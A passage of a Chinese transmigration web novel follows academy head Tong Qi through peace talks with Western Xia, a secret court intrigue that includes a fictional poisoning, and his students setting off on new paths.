被狠狠蒙在鼓里的西夏王室压根不知道他们的王孙已经被童启玩的团团转了,就如同逗弄猫猫狗狗一般,看的旁边的苍蝇都忍不住心中感叹,幸亏自己当时拜师的时候,态度不算是特别的嚣张跋扈,不然的话,只怕他便是第二个王孙这样的了。 回头等对方长大了,想起这一段历史,还不知道会觉得多丢人呢。 如今嘛,就暂时让对方享受一下这种天真的快乐吧。 苍蝇自认体贴,可李元昊却怎么看他怎么不顺眼,一次午食,他眼巴巴跳了段舞蹈,从童启手中换来了半份面包,扭过头看着苍蝇大快朵颐的样子,忍不住嫉妒发问道。 “凭什么他就什么都不用做,便可以每日免费吃你的东西,我就不行?我可是西夏王孙啊,难道还不如他一个小厮地位高贵吗?” 苍蝇: 童启淡淡的瞥了他一眼,直接反驳道,“你是西夏王孙,跟我大奉朝出身的人有什么关系?再说了,他也不是小厮,乃是我的学生。” 学生? 已经第二次听到这个词汇了,李元昊忍不住双眼一亮,深觉找到了新的求食之路,忙开口问道。 “所以,只要是你的学生就可以免费吃东西吗?” 这话难住了童启,他若有所思的看向对方,点了点头。 “没错,我在伊川县开了一家书院,名为华夏书院,你父亲应该听说过?里面有不少像你这样年纪的孩子,大家一起读书识字,这些吃食便是从他们吃饭的地方拿出来的,若是你想要吃的话,我也没有更多的,不过若是能够考上那家书院的话……” 那还不是随便想拿就拿,取之不尽用之不竭? 李元昊心中自动补全了这句话。 童启带笑的点了点头,略带着一点蛊惑的声音说道。 “可惜,你父亲估计是不可能让你去那家书院的了,过几日我们就要回去了,这些吃的,你怕是这辈子也难以再尝到了。” 他并没有阻止李元昊往自己引导的那个地方去思考。 如今的李元昊显然还没长大,心思也单纯的很,如果能够从小便影响这个孩子,将其从歪门邪道上掰过来的话,未必不是一个对大奉朝和西夏均有利的选择。 不仅减少了两方交战的可能性,还能够提前同化一下下一代西夏王的想法。 令其亲近大奉朝。 届时,即便真的到了非打不可的时候,总归也不至于做的太绝,动辄搞出什么屠城、杀害平民的恶事来。 李元昊不负所望,听完这话,当即便转身前往书房寻找父亲,说出了他想要去华夏书院上学,并且拜童启为师的打算。 西夏大王子听完儿子的要求,简直惊呆在原地。 他万万没有想到,自己和大奉朝使团扯皮了好几日,费尽周折和心思,竟然后院起火,得到了这么个结局! 这孩子才几日没盯着啊,就要被人拐跑了? 绝不可能! 别说让李元昊去中原读书了?就是拜童启为师那也是没可能的事情,对方可是差点射杀了他小叔的人啊!若真认贼做师,那其他人回头要怎么看他们。 岂不是上赶着去给别人做质子吗? 若再起战争,那李元昊就是妥妥第一个被祭旗的对象啊,他除非是疯了,才会把自己唯一的一个儿子送到敌人的手心里捏着。 想都别想! 严厉的拒绝完李元昊的请求后,他大门一关,将和谈银子的数量又狠狠提高了两成,以作对方的挑唆之惩罚。 可李元昊本人却并没有放弃,父亲这边磨不动,他就去求自己的母亲! 不同于如今的西夏王妃是契丹族出身,李元昊的母亲乃地地道道的党项族贵女。 一直发愁着自家儿子的启蒙之事,在连续气走了三任老师后,整个西夏几乎无人敢再接小王孙的教育问题!乍然听到儿子想要读书上进后,本能的便是一喜。 虽不悦于想拜师的人乃是个汉人出身,但听闻其小小年纪便是一家书院的山长,想来学问应该是不用担忧的。 他们的文化本身就是从汉族传过来,若真能请到地道的汉人来教授学问,想来,倒也不错。 第78章 第78章五种需求 夜半,齐大人和木奎盛总算是将这些日子的和谈进度,跟大家同步了一下。 童启作为使团中的一员,自然也有知晓的权力。 关于小王子被射中一事,西夏王及其王妃原本都十分愤怒,可大王子李德明与李继捧一系族人,却认为其乃是自作自首,并不认可以此为开战的条件,齐大人也很好的转述了皇帝的意思,认为童启功大于过,不宜被追究。 小王子犯事在先,童启射出一箭是为了维护本国百姓,并无错误。 因此童启兜兜转转,反而成为了这场和谈最置身事外的一个。 两方这些日子,最主要商讨的问题还是退军及割地赔款之事。 如今的西夏王勾结契丹人,野心颇大,一而再再而三的犯边,不少契丹族中使用的武器,皆有西夏的身影。朝廷中的意思是,每年给与西夏一定的银两,不允许其再进入大奉朝的领地,且需得召回契丹族中的西夏人,保障西北边境的平安无事,规整其附属国身份等问题。 而西夏王李继迁的意思则是,40万两白银算作军费,原本献上的四州土地必须得归还回来,且重开榷场,保障西夏方的供需利益,可契丹族那边流窜的人员却无法约束,因为其属于流民,不归西夏王管理。 虽是附属国,但是西夏有独立交好其他国家的权力。 …… “我去他娘的独立交好其他国家,这明显就是狼子野心,有其他的小算盘啊!还四十万两白银,想钱想疯了?土地也不可能归还,我们凭本事让他们献上来的地方,凭什么他说要回就要回?” 一连扯皮了好几日,木奎盛明显憋着一肚子气,无从发泄。 就连声量,都明显提升了许多。 眼瞅着约定的时间进入尾声,两方各不退让,自然便陷入了僵局之中。 木奎盛原本也是偏向于和的,但如今也不由开始思考起要不要真刀真枪的打上一把,毕竟那西夏王一脸桀骜,半点没有臣服的意思,若是就这么放任下去,迟早要成为祸患! 国库里早就已经空的可以跑老鼠了,再掏出四十万两白银,那这个空缺谁来补呢? 不还是得算在他们这些官员的头上。 又是加税,又是征兵,真 出了什么事,皇帝陛下倒是安稳的很,可他们却要去地方安抚那些刁民们了。 实在是难缠的很。 见到使团内个个人心浮躁,齐大人喝了一口茶,一向猥琐的五官反倒显出了几分沉静来。 “你们确定要打?今日应该也见了,他们那西夏的勇士有多么勇猛彪悍,若是以环县为主战场的话,你们猜一猜能抵抗的了三日之久吗?” 回忆起环县那破破烂烂的城墙,大家齐齐闭上了嘴巴。 别说三日了,只怕一日不到,就得被攻破。 倒是一旁的童启始终听着,终于忍不住开口道。 “我觉得,倒也并非只有战或者和,这两种选择。若真想要一时的和平,有阴谋可用,也有阳谋可使,只看朝廷内的先生们,愿不愿意答应罢了。” 几个人的视线顿时朝着他看来。 齐大人摸了摸杯盏的边缘,“说来听听,何为阴谋,又何为阳谋?” 童启慢悠悠站起身,“我这几日陪着西夏小王孙游玩,偶然参观了他们的军营及武装设备,发现虽看起来强大勇猛,但实则外强中干,大部分的士兵都并无真的想要打仗的意思。毕竟粮食问题,他们无法避免和解决,且李继迁已经老了,未来的西夏王才是真正的主导人,而李德明,也并无想要打仗的意思。” 按照历史上的客观发展,西夏一直奉行的都是联合辽国,臣服大奉朝的策略。 休养生息才是李德明真正想要的目的。 连吃都吃不饱,还追求什么吞并州土?就算占据了,你哪里来的那么多百姓去迁移呢? 李继迁及李继捧都没有多长时间可活了,从童启明明差点射杀小王子却毫无追究,便能够看出,这西夏王的话语权已经在渐渐丧失。 如今的西夏,主要还是在李德明在把控。 其便是下一任的西夏王。 “他本身是偏向于和的,如果我们能够让李继迁提前退位,传位给大王子的话,其中未必没有协商的空间。大王子要的并非银钱,而是榷场的开放权。西夏少土地,更不擅长种植粮食,所以饮食吃饭大部分要靠外面去购入,但朝廷内规定每年榷场只开一次,且定价权也完全交给商人自己去把控,这就造成了不少世家的垄断,坐地起价。” 为什么西夏要那么多银钱? 童启一开始只以为他们是野心太大的原因,可呆久了才发现,他们竟是拿来去买粮食。 天杀的世家,胆大包天,两头坑骗。 朝廷刚发下去银子,他们这边便直接提升所有的物价,逼得西夏人不得不买,活生生吃这个冤大头的亏。 各类奢侈品反而远不如粮食的价高,谁也不傻,一来二去,榷场便形同虚设,想要东西,他们只能去环县抢掠。 苦的是百姓,赚得盆满钵满的却是拍拍屁股,一年只来一次的世家们。 若想要真正缓和西夏与大奉朝的关系,其实很简单,就应该去查一查他们真正想要的是什么,只有将核心问题死死捏在手上,才能够避免反复绕圈的弊端。 “那被我射伤的小王子,乃是西夏王的小儿子,其母妃出自于契丹族,李德明本就对其不满,李继捧亲近大奉朝,自然也是如此。若我们能够联合两人,篡位西夏,再利用榷场的定价权和开启次数时间等规则,来作为协商,未必不能将银子数量降下来。此乃阳谋。至于阴谋嘛……” 一行人早已经被童启这番言论听的愣了过去,见到其欲言又止,不由追问道。 “阴谋又何解?” 童启眨巴眨巴眼,没有回答。 第二日,众人便从西夏大王子的口中,知晓了这阴谋是什么。 “让童山长留在西夏,教导王孙启蒙?不行不行,这怎么能成?童启乃是著名的华夏书院山长,绝不可能因为一人,留在西夏的!” 木奎盛忙摆手拒绝。 那李德明也不生气,他也就是因为夫人的话,顺带一问罢了。 若真的让童启留下了,他们愿意,他可还不放心呢! 没看这才几天,他便把自己的儿子心都给彻底勾去了吗? 或许是有着童启作为中间值,和谈的方向一下子清晰了很多,也不知齐大人和李德明、李继捧等人是如何协商的,反正过了两日后,大奉朝使团便以暂停协商,回去询问陛下的意见为由,班师回朝了。 倒是童启一头雾水的来,一头雾水的走,免费公费旅游了一波,没有受到任何的伤害。 也不是…… 他成功得到了一个新的腿部挂件。 小王孙李元昊死死的抱着童启的腿,不让他离开,哭的那是痛彻心扉,鼻涕一把泪一把,不论怎么说,就是不松手。 这不仅仅意味着他的饭票没有了,更象征着以后都无法再尝到好吃的美食了,怎么能令人不伤心? 还是李德明再三劝说,悄悄松口同意了明年让小王孙前往伊川县上学,这才勉强哄住了。 整个使团的人惊讶的围观着,没想到什么时候,童启已经不吭不哼暗自攻略下了西夏的小王孙。 顿时心领神会了那“阴谋”之意。 西夏王全程看着,内心十分不适,深觉这是童启故意带坏了自家的小孙子,因此一见到使团离开,便忙不迭将李元昊接入了自己宫中去,再不准他随意进出。 无人知晓发生了什么,半月之后,西夏王因为醉酒猝死,不幸归天。 西夏大王子李德明顺利继位,接过了西夏的权柄,而原本僵持着的和谈也如同坐上了火箭般,一下子变得顺利许多。 李德明愿意后退一步,减少金银的索要,但却要求榷场改为每月一次,且定价权需双方商议后标准化进行,各种规则安全维护也需得他们西夏的参与。 童启射杀小王子一事不再追究,但华夏书院需得招收其子李元昊免试入学。 并严格保障王子的安全,否则直接开战,不容退让。 皇帝自然是开心不已的,他可不想打仗,能和平的解决问题,自然和平的解决最好。 即使明眼人都能看出来,大奉朝与西夏迟早会有一战,但只要不是在他的任期,就OK。 倒是朝廷里不少人多有抱怨,认为华夏书院干预朝政太过,不如改让王孙来国子监就读等等,却被齐大人一句,“这乃是王孙自己的意见,若不是华夏书院,对方并不愿意来大奉朝读书。” 一句话,直接给堵了回去。 西夏的事情成功落幕,童启也勉强算得上是功成身退,并没有丢了文人的骨气,他和使团一同回到环县。 刚一踏入,便有种疑似走错了的感觉。 彼时,环县已经大变了样,不仅街道上行人变多了,就连店铺都新开了好几家,整体呈现出一副生机勃勃的模样来,令人惶恐不已。 直到他们看见王小花坐在县衙门口为人义诊的样子时,这才恍然大悟,明白了又是华夏书院学生们出的力气。 谢君仪和沈亦也在城门口帮着百姓们兜售各种研制出的陶罐,陶制水管等物。 一点没有出身侯府与世家的感觉。 齐大人的视线一一划过那几人,若有所思的看向童启,道,“童山长倒是教学有方,将每个学生调教的如同换了人一般。我很期待他们以后进入朝廷的样子。” 童启一愣,“您过誉了。” 他也没想到几个孩子竟然会做的这么好,不仅将他要求的名单统计了清楚,还力所能及将环县焕然一新,做到了利民、惠民之事。 他接过柳三变手中的清单,简单翻了翻,然后顺手转给了旁边的齐大人,道。 “这是环县这三年以来被西夏人劫掠打杀的名单,齐大人可以将此交给朝廷,相信各位官员应该知晓如何利用此物,降低大奉朝的损失,也能因此明白后续要以何态度去对待西夏之事。有时候,一两个百姓看起来并不影响什么,可是多了,便是一场时代的浩劫,多少黎民百姓在哭泣,只为了期待朝廷的庇佑,一味的退让,不可取。暂时的和平,终归会有丧钟敲响的那一日。到了那时,试问,朝廷准备好了吗?” 还是那句话,手中无剑和有剑不用,乃是两种截然相反的情况。 在敌人要开始打的时候,你最好已经整装待发了,不然管你什么关系,何种谈判,那都只是附带的,大鱼吃小鱼,弱肉强食,才是这世间真正的准则。 齐大人深深看了他一眼,打开。 见到里面整整齐齐皆是死亡的名单与家庭情况,不由扼腕叹息,字字泣血之下,乃是一条条被人忽视的生命。 也就华夏书院的人还会想着替他们整理出来,记录在册,而朝中的大员们,只怕早就忘了这些事情。 他心里对童启的评判暗 暗提升几分,包括华夏书院也成为了未来重点的关注对象。 可嘴上却什么也没说,只将那名单收起来,与吴县令点了点头后,便带着木奎盛及使团诸人径直出了城,往京都赶去。 半点没有停留的意思。 重新恢复了自由,童启深呼吸一口气,带着学生们重新聚首。 苍蝇悄然跟在身后,跟他小声的汇报着。 “怎么样,药下了吗?” 童启微不可查的问道。 “已经下了,我亲眼见到那李德明喝下去的,保准他以后都再也没有生育能力了。” “那便好,你亲自去一趟京都,将这张地图送给柏大将军。然后再回伊川县找我。” 苍蝇接过那张图瞅了一眼,果然,是整个西夏的布局防卫图,他点点头应允下来,悄然跟在使团后面,一同往京都而去。 大多数的人都猜测着童启收小王孙为徒便是阴谋,实则阴谋哪里有那么高尚? 自然是手段不能见光,才算作是阴谋。 为了保障大奉朝的安全,童启不介意使用一些小手段,去维护这段时光,即便无人知晓,也无妨。 就这么深藏功与名,退出了此次的西夏之旅。 他温柔的聆听着学生们这段日子的所作所为,语气骄傲。 “不错,你们做得很好,远超我的想象,回去后便给你们开表彰大会,想要什么奖励,可以提前跟我讲。” “真的吗?真的什么都可以?” “那我要徽章!不不不,还是笔记本比较好吧?算了,我想要藏书阁的铁质令牌,或者食堂里的点菜券!” 几小只顿时惊喜的交头接耳起来自己想要的东西。 而童启也毫不吝啬,他打算回头洗个手,认真抽几次低阶奖励池,看看有没有什么新鲜的玩意儿,可以送出去。 系统适时结算道。 【叮,恭喜宿主成功逃脱牢狱,奖励一张中阶抽奖券!】 【叮,招募名师日常任务已完成,声望值+1000,您的声望值余额已经达到了4266,请宿主继续努力!】 【叮,期末考试即将开启,怎么能没有山长的坐镇呢?请迅速回归书院,完成年度奖赏评选,给自己的学生们颁布辛苦一年的奖状吧! 成功:奖励两张低阶抽奖券 失败:无惩罚】 又是随机任务。 童启吐槽一句,不过即便系统不催,他也是时候离开了。 环县待得太久,书院里的学生们尚且不知道如何,他还得回去整理明年二年级的乡试,一年级的升学,以及开春后的招新活动,一大堆的事务积攒着,难以假手于人。 不过等他们离开环县的时候,城门口遍布的百姓们,依旧显示了他们在此留存,所造成的影响与改变。 不少百姓哭喊着让他们别走,更有甚者,竟然送了万民伞,给华夏书院,以感谢他们对环县的再造之恩。 这玩意儿,一般可都是送给本地官员的,头一次还未出仕,便拿到这些东西,谢君仪几个小家伙都忍不住红了眼眶,深感这些日子所受的委屈与辛苦,皆一扫而空。 回程的路上,沈亦垂着脚坐在车前,悄声询问童启。 “山长,这便是当官的感觉吗?虽然我们也没有做什么,但是好像对他们的生活产生了很重要的意义,就好像所有的日子都变得特殊起来了,和我以前的感觉,完全不同!” 他无法去概述那种体验,就好像是从未想象过的地方,突然结出了璀璨的冰棱,随手撒下一把草籽,竟生长出大片的花田般,令人头晕目眩。 从出生后便没有缺少的部分,被什么所填满了。 心里涨涨的,满足而开心。 简直比拿了满分,得到了什么稀世珍宝,还要令人热血蓬勃。 谢君仪也在旁边静静的听着。 他们的出身,都不像是那种吴韧一般必须拼了命去当官的人,读书于他们更像是一种消遣,别说科举了,就是要不要当官,他们都没有想清楚过。 毕竟以他们的身家背景,一辈子吃喝不愁,何必一定要去做点什么呢? 可此次环县一游,却在他们心中悄然种下了一颗种子,埋下了更高的体验感。 一种说不清道不明的意义。 童启笑着呼噜了一下两个人的脑袋,道,“我曾听一位贤者说过,人有五种层次的需求,从低到高,分别是生理需求,安全需求,社交需求,尊重需求,以及自我实现的需求。前几类顾名思义,都是一个人生存所必须的东西,吃喝、睡眠,衣食无忧,与人交际,感到理解和尊重,而唯独最后一个,出自于精神层面。很多人究其一生,都在为前几种需求所奋斗,可你们幸运,一出生便满足了前几个条件,只剩下最后一个目标值得攻克。” “当你们注意到自己的所需,从低级趣味从脱离出来,转而注意精神层面,那怎么能不算是一种进步呢?人若麻木的活着,便没有任何意义,相反,利用有限的时间,完成无限的事业,活在千千万万百姓们的心中,即便死了,又何尝不是另一种意义上的永垂不朽呢?” 中国人向来追求死亡文化,世世代代的祭祀和传承便是对于死后的畏惧与想象。 可当童启摸着他们的脑袋,讲述了还有另一种层面上的延续后,四小只齐齐沉默了下来,感觉到似乎触及了某种人生核心的意义。 重新思考起自己的人生目标与价值来。 王小花背着大包小包回到了书院,其内几乎满满当当,全是遇到的看病案例与分析,这大大丰富了华夏书院对于医科的研究,也令不少学生有了借鉴的东西。 不少罕见的病症,甚至令邢御医和张小娘子都颇感兴趣。 简直比一手资料还要具有价值。 堪称此行不亏! 而童山长的正式回归,也令所有学生们如同找到了主心骨般,重新镇定了下来,顺带着彻底拉开了华夏书院一年一度期末考试的序幕。 第79章 第79章各奔前程 久违的校长室,一楼大厅内澄澈如镜,蓝天白云投射在水面上,微风轻扬,波光粼粼。 越过两排窗扇,堂内景色美好而宁静,反衬得曾经的遭遇如同一场噩梦般,分不清真假。 曹家一行人忐忑的走上二楼,连目光都不敢随意乱瞄。 一开始听到华夏书院的时候,他们想象中,以为不过是偏远地区一个简单的学府罢了。可当真正被送到目的地,望见其内建筑巍峨,才发现别有洞天,藏龙卧虎。 童启没回来的日子,他们一步都不敢出,只守在宿舍楼内,战战兢兢。 直到听见山长回归,这才总算是放下了一口气。 曹家世代官宦,尤其是曹钟诚,更是担任过工部尚书,与柏老那都是老油条,浸淫官场多年,但见这书院内秩序井然,阶级混淆,心中便已经窥到了几分童启的野心。 又得知他西夏一行,射伤小王子,却毫无损伤,无人责怪,更觉震撼无比。 再相见时,便忍不住带了几分打量的模样来。 童启坐在自己新出炉的紫檀木椅子内,整理着手边的试卷,见曹家人进来,忙起身令坐,每个人倒上了一杯好茶。 没想到还会有自己的份 儿,曹婉欣及刘氏愣愣接过,仰头看着这个不过十一岁的少年。 “环县匆匆一见,还没来得及多说什么,便各自分开,今日再聚,也是一种缘分。我郑重的介绍一下,在下童启,乃是这个书院的山长,托柏老的介绍,特邀请曹大人来我们书院担任斋长一职。事急从权,当时急匆匆将您家里人也一并带了回来,如今空闲下来,也是时候问问诸位的打算了,还请畅所欲言,不必客气。” 他没有强制要求所有人一定得留在他们书院。 毕竟救命之恩,柏老和曹钟诚来还即可,其子女,那都是顺带着的,即便留在书院里,用处也不太大。 曹时序若想要留下来当先生,他肯定也会欢迎,但若不想留,愿意出去闯闯,他也乐的支持。 果然,这话说出,在场的每个人神色各异。 “我已经是一把老骨头了,童山长不嫌弃的话,我定倾力相助,为学生们答疑解惑,至于时序,他的腿也是您救的,若有用得着的地方,您可以尽情吩咐。” 曹钟诚这话一出,极其卑微,吓得童启连忙摆手。 他可不缺什么小厮。 再说,如果一个如此才华横溢的人,就这么去给人当跑腿的,那也未免太暴殄天物了一些。 “曹老不必担忧,我是真心诚意询问,并不是挟恩以报,在试探什么。” 他看向始终沉默的曹时序本人,耐心道,“我只是觉得,若我是你的话,读了这么久的书,一夕之间被人否定全部,不会就这么甘心认命。哪怕没路,我也愿意自己去尝试一番,即使撞个头破血流,也不枉这么多年的积累与见识。” 连清创剜肉之痛都能忍下来的人,童启不信,会就这么放弃。 科举,自然是不能考了,除非换皇帝,不然短时间内,京城也去不得。 可这世界大得很,不只是一条路可以发光发热。 听到这话,对方惊讶的抬起头来,注视着这个远比自己小了很多岁的人。 若他的儿子还活着,过几年,也会长成如此出色的模样吗? 他犹豫了,若是腿没治好,那教书留校,自然是最好的选择,可如今与正常无异,心中的火便如同童山长所说的那样,越烧越旺。 不甘心。 没错,正是不甘心。 “我想做一些事情,但我不知道,我能做什么。”他坦诚道。 整个屋子里瞬间安静了下来。 童启端起身前的茶盏摩挲着,半晌,终于站起身,从桌兜里掏出一张藏了许久的地图来。 这是他之前闲暇时,打算给学生们讲述地理,而随意画就的,粗糙的很。 后来因为要去营救曹家,就暂时压下了。 他将那图铺在桌案上,信手一指。 “这,是我们大奉朝,这,是最南的交趾,越过海平面,往北走,便是亚欧大陆,向南,有一处陆地名为美洲,其上有一作物,名为红薯,传言可亩产两千至三千斤左右……” 在场所有人忍不住倒抽一口凉气,呼吸一乱。 曹时序更是瞪大了双眼,难以想象。 童启语气平静,继续讲道,“另有一菜蔬,为土豆,可亩产三千到五千斤左右。更有无数瓜果,是我们这里从未见过的品种,若能随意得到一种,便足以立传世之功,养活万万名百姓。你有兴趣,去看一看吗?” 海运,无论放在哪个朝代,都是超前的选择。(清末除外) 而如今南美洲应该尚且处于原始部落时期,曹时序他们若真能找到,那便是妥妥的碾压开局,若找不到,沿海的各种国家风景,也足以令他们赚的盆满钵满,远比受困于这一隅之地要好得多。 只是风险极大,一个不留神很可能便会有去无回。 实际上,童启也在犹豫要不要跟他讲这些,毕竟这玩意儿虽然难抽出来,但多试一试,系统应该也不会一直压着不给吧? 毕竟这可是每个穿越者必备的大杀器啊! 可还是那句话,能自己做到的事情,就不要妄想祈求于随机的命运之中。 这也是曹家的一个机会,若真能带回来任意一种植物,不论红薯还是土豆,那曹家的流放假死之罪,也妥妥能够被新皇所赦免了。 曹时序自是清楚,他看着那图,眼中异彩连连,当即便答应了下来,出海寻宝。 而其夫人刘氏也愿陪同一起,前往冒险。 童启感慨着两人的伉俪情深,答应了会请伊川县章县令帮忙开具身份证明等物件,并资助其一千两银子,令全胜镖局帮忙护送他们到广州。 曹婉欣则留下来,与父亲一起待在了华夏书院内,因年纪小,在询问过意见后,顺利进入医科学习,与王小花成为了同窗。 不到一个月便迅速适应,如鱼得水,简直远比在京城时,还要开心自由。 她偶尔也会写信给岳灼华,讲述自己在伊川县的事情,语气中的快乐和肆意难以遮掩,令岳灼华都觉得艳羡无比。 后事不提,只说曹家等人谈完离开,一个意想不到的人,也随之敲响了校长室的门。 杨舟万站在室内,抿了抿嘴唇,缓缓说道。 “山长,我听柏老先生说三皇子问您要人,我……我想去试试。” 他握紧了拳,眼神坚定。 童启有些讶异,虽然上一次的院试,杨舟万拿下了倒数,但还有着一整年的时间,未必就不能考上举人,他的确跟柏老说过三皇子那边催促要人的事情,可说的却是会想尽办法拖延一段时间,起码等孩子们考完乡试再说,没想到,杨舟万却先行下了决定。 “你为何会有这样的想法?” 他疑惑问道。 杨舟万将柏老课上讲述的道理简单复述了一遍,童启听完,整个沉默下来。 不得不说,其实他一直知道自己的教学是具有一定天真与理想化的,这是源自于现代环境熏陶下,所造成的安逸感,而位于大奉朝,柏老的那一套,实际上才是真正的社会准则。 残酷,却真实。 他无法去评判杨舟万的选择是否正确,但尊重学生的想法,一直是他所奉行的教育方式。 每个人,有每个人不同的路。 “好,若你想清楚了,我会充分尊重你的决定。但还是那句话,若是哪一日你还想要回来科考,华夏书院的大门永远会为你敞开。什么时候你需要母校时,也可以随时写信给我,书院将会是你永远的后盾与支持者。” “明白。” 杨舟万双眼泛红的走了出去。 一出门,便直接落下了泪来。 他知道,自己这一去,只怕再回书院,就很难了,他选择了一条捷径,但与之相对应的后果,也必须独自品尝。 自成立初始,华夏书院便没有少遇到过刁难与针对,他们朝中无人,因此不论发生什么,总是弱势一头,再加上书院内那些躲躲藏藏,尚未被发现的那些神秘之事……将来若有暴露的一天,几乎不用想,便知道山长会面临什么样的情境。 他不求自己爬的有多高,只愿快一些,能为书院贡献一份力量,去竭力的守护住这片桃花源。 哪怕为将来的后辈师弟们提供一条可供借鉴的道路,也足够了。 柏老听闻了消息后,同样十分的感慨。 他明白,杨舟万的选择,是很多人都难以做到的,这份冷静背后所牺牲的利益,更是比想象中要多得多。 人不为己,天诛地灭,自己一生见了多少因为利益打破头,连父母、师长也全部抛弃的人!这还是头一次遇到,愿意退而求其次,舍弃已经成形的路,走更难的另一条的。不说别的,只童启收的这些学生心性,便已然令他为之感动。既有感恩之心,又懂进退,还对华夏书院和童启充满了强烈的感情…… 别看这情似乎毫无用处, 但世间大多数,其实都是以情胜理。 真正打败了事实格局的,通常都是这种纯粹的感情。 而由情所形成的庞大凝聚力,也令华夏书院走出的每一个学生担负着浓浓的责任,即便远行,思想与站位,也始终与华夏书院深深的绑定着。 几乎不用多想,便知道,若他们全部毕业后,进入朝堂,将会集结成多么可怕的一股力量。 一个人难以翻天覆地,那一群人呢? 柏老摸了摸胡须,将自己的名贴上扣上了独属于华夏书院监院的标志。 第80章 第80章年终结算 莫待霜寒露重时,早趁晨光踏远途。 在决定了离开华夏书院,各奔前程后,杨舟万与曹时序都并无耽误多久,便整理了行囊,告别了家人,各自踏上了前往目的地的路。 曹时序与刘氏是在早上悄无声息离开的,天还未明,便不辞而别了。 而杨舟万,则切切实实与大家闹了一场,在宿舍里喝的酩酊大醉,差点就惊动了宿舍管理员。 他红着眼,一点一滴的抚摸过自己已经呆了两年的地方,从书院门口到后山的温室大棚,一草一木,皆是熟悉的痕迹,望着望着,便忍不住泪流满面。 童启率领着一众先生站在书院门口,为其送行。 “我已经提前去信跟三皇子说明了此事,此去一行,前路漫漫,不论发生什么,切记要照顾好自己。这是书院内的藏书阁令牌,虽用不上了,但仍旧留给你作为纪念,今后只要在外,看到佩戴这令牌的人,皆是我华夏书院的学生,你们可以互通有无,并肩作战。我始终以从华夏书院走出去的每一个学生为荣,也请你今后不忘初心,多为黎民百姓,做一些好事情。” 杨舟万颤抖着手接过,郑重的点点头,如同誓言一般,将那枚铁质令牌挂在了自己的腰间上。 “我去了。山长。” 他结结实实磕了个头,目光深深的划过角落里那些聚集的同窗们,转身踏上了离开的路。 一众学生望着他的背影逐渐远去,无不拂泪自拭。 天下无不散之筵席。 此处离别,自然便有另一处将要迎接。 京城内,得知杨舟万要来,三皇子兴奋无比。 前不久他还在写信跟童启索要人才,对方拖拖延延,似有拒绝之意,惹得他旗下不少军师谋士都起了疑心,说什么他乃是面上投靠,实则墙头草,随时想着抽离。 没想到啊,这才几日,事情便出现了转机! 他就说嘛,童启怎么可能会不选择他? 所有皇子里面,还有比他更受宠的吗?就连四皇子都被拘禁了! 果然,贤者都是有一定的眼光的,送杨舟万来京都,便是一种证明! 志得意满之下,他对来人也多少有了点好的观感。 这个学生他是有印象的,当时蹴鞠赛上华夏书院与龙胜对打,便是他担任的守门员,死死守在最后的防线上,一直坚持到伤痕累累,都没有退让一步。 心性坚韧,是个好苗子! 虽说成绩不算是华夏书院内名列前茅的,但胜在性格好,以后必有前景! 给他什么官比较好呢? 三皇子挑挑拣拣,直接将如今空闲下来的秘书丞位置给他争取了过来,同时嘱咐了底下的人,不必令其立刻走马上任,先带着他前去适应适应,若能干的了,便继续做下去,等有机会,他再给他往上调。 这便是人脉的区别了。 有的考了一辈子都当不上九品芝麻官,可有的,不过秀才出身,却凭借书院背景,轻轻松松挤进了从七品的行列中。 其实,这在童启眼中就和现代的保送没什么区别,可不少人心里,依旧愤愤不平,认为乃是投机取巧,枉为文人! 尤其是三皇子手下的许翰林,他不知学了多少才能到达如今的位置,凭什么一个毛头小子,刚来,便直接越过他,成为了三皇子最重视期待的人? 又不是没有其他的书院,自己出身的母校龙胜曾屡次三番举荐人才,都不被三皇子所采纳,而童启不过一封信,人还没到,便安排成秘书丞了? 不行,他绝对不能让对方如此顺利! 浓烈的妒忌几乎冲昏了他的头脑,思考过后,许翰林悄然使了个法子,将三皇子预备的秘书丞工作挪给了其他人,而杨舟万则改为了就任军器监监丞。 虽都是从七品,可负责的事务,却是天差地别。 一个协助秘书监管理国家图书、文献,乃是清贵的活计,另一个则是整日和武夫纠结在一处,负责协助军器监的高级官员管理军器制造和供应事务,向来为文人所不耻。 几乎没几个能够在这个职位上坚持长久的。 那些武将性格粗鲁,嗓门又大,听不明白又讲不明白,一不开心便能将人拎起来暴揍一顿,最是难缠。 杨舟万若能忍受,那自然最好。若忍受不了,也不算是他们的问题,只能怨作其没本事,活该吃不上当官的这碗饭。 陷阱布下,只等人入套。 杨舟万一无所查,千里迢迢背着包袱到达了京都,张着嘴仰头望着那高耸的城门口,只觉自己像个土包子进城一般,没有见识。 旁边的不少贵人见他这幅样子,早已习以为常的嗤笑出声。 又是个从地方来的。 京都繁华,不可用文字去形容,光是街道上拥挤的人群,鳞次栉比的店铺,便已经让杨舟万看的眼花缭乱,难以挣脱出身。他一直觉得伊川县发展的便已经足够好了,有着华夏书院作为支撑,整个河南府的县城里,它算得上排名前几的,可对比上京都之盛,依旧难以比拟。 好不容易到达了三皇子府,未进门,他先将证明自己身份的书信递了上去。 谁料那门口的小厮瞥了他一眼,便直接将他带去了军器监,走马上任。 “那个……我们不先去拜访一下三皇子殿下吗” 他茫然问道。 对方嗤笑一声,不阴不阳的回答。 “殿下向来忙碌,哪里能是个人就去见的?这京都不比地方,阶级分明,一块砖掉下来都能砸死一堆的从七品,至于你?” 话语中未尽之意……你算个什么东西 杨舟万尴尬的摸摸鼻子,乖巧的没有作声。 军器监内,前一个官员听闻有人来顶替他的岗位,早已收拾东西忙不迭离开了,活像是背后有人追赶他似得,连交接都没顾上。 杨舟万只能根据文字留存等记录,来重新了解和学习这个岗位上的内容。 许是受到山长的影响,他实际上并不讨厌武将。 相反,因着每天都要锻炼而养成的习惯,他多多少少也能够打上个几套拳来,用作养身,再加上蹴鞠赛时与柏大将军等人的相处,这令他对一些武将相关的事情都十分好奇。 也深谙武将的品性,不喜欢磨磨唧唧,咬文嚼字的人。 所以从见面初始,他便尽量用大白话来解释交流,碰上他们不明白或者不懂的问题,也极为耐心,甚至连公文交接都给换成了表格样式,统一用数字作为记录,工整而简单,不到一周的时间,便得到了不少武将的欣赏与欢迎。 连带着整个军器监的效率也大大提高了不少。 负责 军器监所有工作的,乃是一位姓厉的大臣,原本他听闻三皇子要调人过来,还以为又是一个受到家族庇荫,来混日子的,因此并未放在心上,可没想到竟然有点东西? 一来二去,便上了心,潜心观察起来。 见其既年轻又沉稳,顿时起了培养之意。 其中细处,不再赘述。 只说齐大人等使团顺利回到京都,向圣上细细禀明了和谈之事,谈及童启阴阳二谋之论,令皇帝龙心大悦。 不仅将所有人封赏了一遍,也顺带着给童启封了个龙图阁直学士的官来。 